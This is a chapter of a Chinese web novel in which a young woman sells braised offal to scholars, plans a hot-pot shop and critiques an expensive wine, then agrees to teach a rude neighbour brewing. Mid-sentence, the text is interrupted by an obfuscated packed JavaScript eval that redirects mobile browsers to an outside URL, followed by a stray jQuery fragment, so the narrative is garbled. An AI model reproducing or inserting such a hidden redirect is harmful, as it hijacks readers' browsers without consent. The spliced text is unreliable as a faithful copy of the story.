25.第 25 章
    郁斓年闻声忽地抬头,一张熟悉的俊美脸庞映入眼帘。

    “书生哥哥!”郁斓年脆生生地答道。

    只见唐辞揽着张启元,身后还跟着一群人,呼朋唤友地一齐进了铺子里面。

    唐辞在学院中可是明星人物,众人见他带着张启元进了这家看似破旧的店铺,又闻见那从铺子里飘出的诱人香味,也都纷纷效仿起来。

    一时间,铺子里的五张桌子竟然都坐满了人。幸亏有郁斓年和郁斓岁两个小家伙帮忙,才不至于手忙脚乱。

    郁斓冬这边正忙着准备餐具,却发现准备的瓷碗不够用了。

    好在还有一些竹筒,她便灵机一动,将卤煮装在竹筒中。没想到这一做法竟也别有一番风味。很快,一木桶的卤煮就见了底。

    唐辞夹起一块羊肚,好奇地问道:“小娘子,这是何物?我怎么从前没有吃过?”

    一旁的张启元也看着碗中的褐色大肠,满脸疑惑地问道:“莫说唐兄,我也是没有见过此物。”

    “启元兄是京城来的,竟然也没有听说过此物?”唐辞满脸诧异。

    郁斓冬笑了笑,解释道:“这是牛羊牲畜的内脏,经过草木灰清洗,煮熟后再用香料卤煮出来的一道美食。”

    “食物内脏也能吃!”张启元一脸诧异,惊讶地说道,“小娘子是如何发现这些内脏能吃的的?”

    郁斓冬微笑着回答:“平日里爱研究些吃食,若是大家吃的还不错,后日我们涮锅开店,欢迎来捧场。”她借此机会宣传自己即将开业的店铺。

    “涮锅?莫非是和京城的御品火锅相似?”张启元问道。

    “启元兄,什么是火锅?”唐辞听到后,好奇地问道。

    “京城有火锅?”郁斓冬此时也有些惊讶。

    这大魏朝竟然有火锅,如果现在不抓紧时间推广自己的店铺,市场就会被抢占。

    活了两世的郁斓冬太清楚占领市场的重要性了。

    而且开店还有最重要的宣传环节,尤其是在古代,人们的信息相对闭塞,每个县城都有自己的信息茧房。郁斓冬想到火锅还没传到大荒城,现在正是自己抢占先机的时候。

    张启元徐徐道来,“御品火锅乃是京城中极为有名的美食。火锅以铜锅为具,中间燃着炭火,锅中热汤翻滚。其汤底有多种选择,有鲜香醇厚的骨汤,也有麻辣刺激的红汤。食材更是丰富多样,有鲜嫩的牛羊肉片,切得薄如蝉翼,入锅即熟。还有各种新鲜的蔬菜,和海鲜食材。还被当今圣山赐名为御品。”

    “张兄,火锅可配有蘸料?”郁斓冬追问,张启元提到了食材和锅具,没有提到蘸料,要知道一个火锅最重要的还必须有一份灵魂蘸料。

    张启元不懂,问:“什么蘸料?”

    郁斓冬笑道:“我研究的涮锅是有蘸料的,我本想着若是仿了御品怕是不妥,既然他们没有蘸料我便放心了。”

    唐辞被张启元说的火锅引起了兴趣,又听郁斓冬讲涮锅,心中好奇更甚。

    郁斓冬卖完了葱油饼和一桶卤煮,甚至带来的一些卤货也被这些人都买完。

    价格不贵,而且读书人一般家庭富裕,也出手阔绰。

    郁斓冬为了开店的消息连卖带送,获得了不少吃货粉丝。

    这时的郁斓冬还没有意识到自己最大的粉丝就是叶枕舟。如果借着叶枕舟打出名号,以后开店要简单得多。

    ——

    为了准备开店事宜,郁斓冬经过深思熟虑后,决定去找李牧野帮忙制作牌匾。

    就在她和李牧野商谈木匾上的字时,李戈年恰好经过,手里还拎着一小缸酒。

    他向来嘴欠,瞧见郁斓冬一脸认真地盯着正在制作的牌匾,便忍不住阴阳怪气地问了一句:“就你,还开店?”

    郁斓冬原本压根不想理会他,可李戈年带着酒气凑了过来,那副吊儿郎当、欠揍的模样实在是让人难以忍受。

    郁斓冬只好停下正在观摩牌匾的目光,毫不留情地回怼道:“就你,也是人呢?”

    李戈年一听,顿时觉得郁斓冬的嘴越发厉害起来。

    他本想动手教训郁斓冬,可顾及身旁大哥李牧野还在,只能强压下心中的怒火,气哼哼地说道:“我才不会吃你做的吃食,说不定你的店铺过两天就黄了,我劝你有这个钱不如趁早放弃吧。”

    郁斓冬嘴角上扬,讽刺道,“放心,我做的是人吃的,你不合适。”

    见李戈年被气得面色通红,郁斓冬不屑地翻了个白眼,缓缓开口:“这酒,味道浑浊不堪,可这坛子倒是精致得很。想来,也就喜欢骗你这种人傻钱多的主儿。”

    李戈年平生最大的爱好便是喝酒,这坛酒乃是醉月酒楼新推出的“欢伯浆”,价格高达五两银子一坛。

    即便如此昂贵,却依旧供不应求,很快便被抢购一空。

    而他手中的这坛子酒,还是他花了十两银钱从旁人手中高价买来。

    郁斓冬只是微微闻到酒味,便觉刺鼻异常,其中发酵的味道浓郁得过分,却唯独缺少了香醇之感,全然失了酒应有的韵味。

    在她看来,品酒一事本就是风流雅韵之事,唯有口感醇厚、香气四溢的酒才算是好酒。而这一看便知是糊弄那些不懂酒的莽夫的糙酒,一时没忍住自己的职业病,便脱口而出。

    李戈年一听,心中不服,大声反驳道:“说得你好像很懂一样,一介女流,你懂什么?这可是醉月酒楼的新品。”

    郁斓冬对酿酒一事颇有成就,最初走红也是因为她酿造的葡萄酒、樱桃酒、草莓酒得到了大众的广泛认可。

    此时,她也被李戈年激起了胜负心,不紧不慢地分析道:“你这酒,酒曲发酵的味道如此之重,这便说明发酵所用的粮食是陈粮所酿。而且,酿酒之人在时间和温度的把握上没有做好,导致发酵不到位。这酒入口辛辣之后,不是回甘,而是一种涩苦。”

    接着,她又继续说道:“想必卖酒之人吹嘘说涩苦的酒是优质酒种,他这话倒也没错,但是少了香醇和回甘,便绝不是好酒,这只能算是失败品。”

    李戈年原本还在气头上,可听着郁斓冬的这番分析,他竟忘记了生气。

    他万万没想到,郁斓冬竟然全都说中了。

    此酒确实不合他的口味,所以他买后尝过一口,便带回了家中,准备放些时日再来品尝,看看是否会有所改善。

    看来,这郁斓冬当真是懂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304882|147823||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    货之人。

    李戈年不由自主地凑得更近了些,好奇道:“你这么懂酒,莫非你也会酿酒?”

    在他看来,酿酒可是一门手艺活,一坛好酒千两难求,可比开食肆不知要赚多少。

    李牧野此时也恰好雕刻完了牌匾,郁斓冬见事情已了,便准备告辞离开,她实在不愿再理会李戈年。

    李牧野抬着那块崭新的木匾,主动提出帮忙送回店铺。

    “哎,你别走啊。”李戈年见状,急忙出手阻拦。

    “不得对郁姑娘无礼。”李牧野终于出声制止。

    李戈年今日实在过分。

    “大哥,我只是想问一下酿酒之事,你也知道我平生就这么一个爱好了。”见李大哥是真的动气了,李戈年的语气瞬间放软了许多。

    半晌,李牧野见郁斓冬面色不虞,便连忙帮忙解围,看着郁斓冬,温声道:“我还要帮郁姑娘去送牌匾,你休要耽误郁姑娘的事。”

    李戈年一听,立马主动要求道:“我去,我去送。”

    “你能行?”郁斓冬满脸质疑地看着李戈年。

    在她的印象中,李戈年平日里总是一副顽劣粗俗的模样,实在让人难以放心。

    李牧野见李戈年如此急切,心中深知他的脾性。

    他转头看向郁斓年,语气诚恳:“郁姑娘,舍弟虽然平日顽劣粗俗,却不会无端生事。今日他有求于姑娘,更是会听话。”

    郁斓冬听罢,心中对李戈年仍然充满质疑。但是,以她对李牧野的为人品行还是有了解,知道他不会说这些无聊的谎话骗人。

    经过一番思索,最终应了下来。

    李戈年为了让郁斓冬教他酿酒之事,一路上软磨硬泡,嘴就没有停过。

    郁斓冬一开始还应付两句,后来实在是烦得很,便厉声说道:“你若再不停嘴,我就不教你酿酒之事了。”

    “你答应了?”李戈年喜出望外,一直到店里,他的嘴角都一直上扬着。

    到店里的时候,郁母带着年哥儿和岁姐儿已经将店内里里外外打扫得干干净净。郁母见郁斓冬竟然和李戈年一起来,眼中带着警惕,充满了戒备,急忙将郁斓冬护在身后。

    郁母面向李戈年,厉声质问:“你来做什么?”

    因为郁斓冬答应教他酿酒,此时李戈年心里对郁家已经没有任何怨念,也没有了那些龌龊的想法。

    而且,在他心中,郁斓冬现在也算是他的师傅,郁母自然就是他的师祖母。

    于是,他尊敬地答道:“师祖母,我是来送牌匾的。”

    郁母被一声“师祖母”震惊了,她怔愣了一下,不敢相信自己的耳朵。

    “你不要乱讲,我还没打算教你。”郁斓冬有些无语。

    郁斓冬见母亲满脸疑惑与警惕,便带着郁母进屋,好好解释一番。

    李戈年十分听话地开始忙活起悬挂牌匾的事宜。

    他将牌匾稳稳地抱在怀中,走到门上方,然后轻轻踩上一把椅子。

    因着他身高腿长,踩上一把椅子,便将牌匾挂在门的正上方。

    挂上之后,还十分细心地用木钉,将牌匾进一步固定,确保其不会轻易掉落或歪斜。